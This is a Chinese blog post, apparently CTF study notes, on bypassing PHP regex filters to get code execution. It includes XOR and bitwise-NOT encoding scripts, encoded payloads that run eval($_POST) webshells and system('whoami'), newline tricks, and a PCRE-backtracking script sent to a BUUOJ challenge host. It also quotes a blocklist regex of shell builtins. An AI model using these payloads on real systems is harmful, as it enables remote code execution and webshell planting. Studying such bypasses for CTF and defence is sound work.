• 正则匹配绕过总计之[极客大挑战 2019]RCE ME


    知识点:

    参考以及总结大全:浅谈PHP代码执行中出现过滤限制的绕过执行方法_末 初的博客-CSDN博客_php代码执行绕过

    正则匹配绕过:

    分为无参数(把字母和数字都禁了)

    有参数(只禁用某些函数例如system)

    绕过:

    异或绕过:

    脚本:(如果ban了数字和字母就可以用这个脚本生成,但是长度会很长,对长度没有要求就可以用这个)

    1. payload = "assert"
    2. strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
    3. #strlist是ascii表中所有非字母数字的字符十进制
    4. str1,str2 = '',''
    5. for char in payload:
    6. for i in strlist:
    7. for j in strlist:
    8. if(i ^ j == ord(char)):
    9. i = '%{:0>2}'.format(hex(i)[2:])
    10. j = '%{:0>2}'.format(hex(j)[2:])
    11. print("('{0}'^'{1}')".format(i,j),end=".")
    12. break
    13. else:
    14. continue
    15. break

    比如assert   

    ('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c')

     没有ban数字和字母:脚本:

    1. import string
    2. char = string.printable
    3. cmd = 'assert'
    4. tmp1,tmp2 = '',''
    5. for res in cmd:
    6. for i in char:
    7. for j in char:
    8. if(ord(i)^ord(j) == ord(res)):
    9. tmp1 += i
    10. tmp2 += j
    11. print(tmp1)
    12. print(tmp2)
    13. break
    14. else:
    15. continue
    16. break
    17. print("('{}'^'{}')".format(tmp1,tmp2))

    结果:

    ('000000'^'CICDU]')

     另外还有一个,_GET 的异或获取为:${_GET}[_] -->  ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_]

    ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

    //${_GET}{%ff}();&%ff=phpinfo

     如果要其他rce就可以根据这个来构造,比如:

    ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

    //${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST[%27a%27])

     取反编码绕过

    php上传木马脚本:

    1. error_reporting(0);
    2. $a='assert';
    3. $b=urlencode(~$a);
    4. echo $b;
    5. echo "
      "
      ;
    6. $c='(eval($_POST[mochu7]))';
    7. $d=urlencode(~$c);
    8. echo $d;
    9. ?>

    生成后使用:

    (~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

    有参数时,可以直接url编码取反 system 

    1. var_dump(urlencode(~'system'));
    2. var_dump(urlencode(~'whoami'));

    (~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
    #system('whoami');
     

    当匹配为含有^ $时可以采用换行绕过:
    ^test表示匹配的字符以 test开头

    test$表示匹配的字符以test结尾

    ^test$ 理论表示匹配的字符只能是test

    但是正则匹配不匹配换行符号:可以用%0a (表示换行符号)来绕过:test%0a

    .不会匹配换行符,如

    1. if (preg_match('/^.*(flag).*$/', $json)) {
    2. echo 'Hacking attempt detected

      '
      ;
    3. }

    只需要 $json="\nflag"

    而在非多行模式下,$似乎会忽略在句尾的%0a

    1. if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
    2. echo $flag;
    3. }

    只需要传入?a=flag%0a

    回溯绕过

    参考:

    PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌

     简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多导致正则直接返回false

    例如[FBCTF2019]RCEService

    1. putenv('PATH=/home/rceservice/jail');
    2. if (isset($_REQUEST['cmd'])) {
    3. $json = $_REQUEST['cmd'];
    4. if (!is_string($json)) {
    5. echo 'Hacking attempt detected

      '
      ;
    6. } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    7. echo 'Hacking attempt detected

      '
      ;
    8. } else {
    9. echo 'Attempting to run command:
      '
      ;
    10. $cmd = json_decode($json, true)['cmd'];
    11. if ($cmd !== NULL) {
    12. system($cmd);
    13. } else {
    14. echo 'Invalid input';
    15. }
    16. echo '

      '
      ;
    17. }
    18. }
    19. ?>

    注意正则匹配中的 ^.*    .*$       .*就可以使用回溯,怎么回溯呢,脚本:

    1. import requests
    2. payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
    3. res = requests.post("http://ad66432f-4628-41f6-8190-d9b9c247904c.node3.buuoj.cn/", data={"cmd":payload})
    4. #print(payload)
    5. print(res.text)

    由于这里传递的rce是以json 格式的,所以是{"cmd":"ls"}格式;

    这里还有^ $ 可以用%0a绕过;

    {%0a"cmd":"ls /home/rceservice/"%0a}  发现flag

    {%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}   打开flag 为什么cat还要加/bin  是因为

    系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

    因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

    例题参考:[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)_WHOAMIAnony的博客-CSDN博客_取反绕过 

  • 相关阅读:
    KoTime:v2.3.6-新增当前Java程序占用的内存统计以及页面刷新功能
    是什么让.NET7的Min和Max方法性能暴增了45倍?
    ArrayList为什么线程不安全以及三种解决办法【详细】
    【ArcGIS风暴】ArcGIS标注和注记的区别及用法案例详解
    【数据库】MySQL分页查询
    百度智能云千帆 ModelBuilder 技术实践系列:通过 SDK 快速构建并发布垂域模型
    Python读取NC格式数据绘制风场和涡度图
    for深入学习
    [elasticsearch]使用postman来查询数据
    SpringCloud 客户端负载均衡:Ribbon
  • 原文地址:https://blog.csdn.net/qq_58970968/article/details/126475942